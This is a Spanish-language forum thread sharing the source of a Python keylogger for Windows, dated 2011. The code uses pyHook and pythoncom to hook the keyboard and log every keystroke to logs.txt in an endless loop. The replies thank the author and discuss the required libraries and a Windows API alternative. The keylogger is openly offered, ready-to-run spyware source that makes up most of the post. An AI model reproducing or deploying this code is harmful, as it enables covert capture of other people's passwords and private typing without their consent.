Un simple keylogger en Python
#!usr/bin/python
#Simple Keylogger in Python
#(C) Doddy Hackman 2011
import pyHook,pythoncom
def savefile(name,text):
file = open(name,"a")
file.write(text+"\n")
file.close()
def toma(frase):
savefile("logs.txt",frase.Key)
def capturar():
nave = pyHook.HookManager()
nave.KeyDown = toma
nave.HookKeyboard()
pythoncom.PumpMessages()
while 1:
capturar()
# The End
Aún no he podido ver todos tus aportes, sólo unos cuantos y como no voy a comentar en todos, lo hago en este. Muchas gracias por estos códigos, serán muy útiles para gente como yo que está empezando para aprender a usar varios de los módulos de python.
Grandísimo trabajo!!!
gracias por el comentario sensei ;)
Pues hasta sería mejor trabajar enteramente con el api de Windows (import win32api).
Como de seguro es un "copy-paste" deberán saber que este código usa dos librerías más no incluidas en el paquete de Python por lo general:
http://timgolden.me.uk/pywin32-docs/pythoncom.html
http://sourceforge.net/apps/mediawiki/pyhook/index.php?title=Main_Page
Na , es mas facil instalar las dos librerias que hacerlo usando la api de windows , pero es cuestion de cada uno.
Eso si , a que te referis con copy-paste ¿?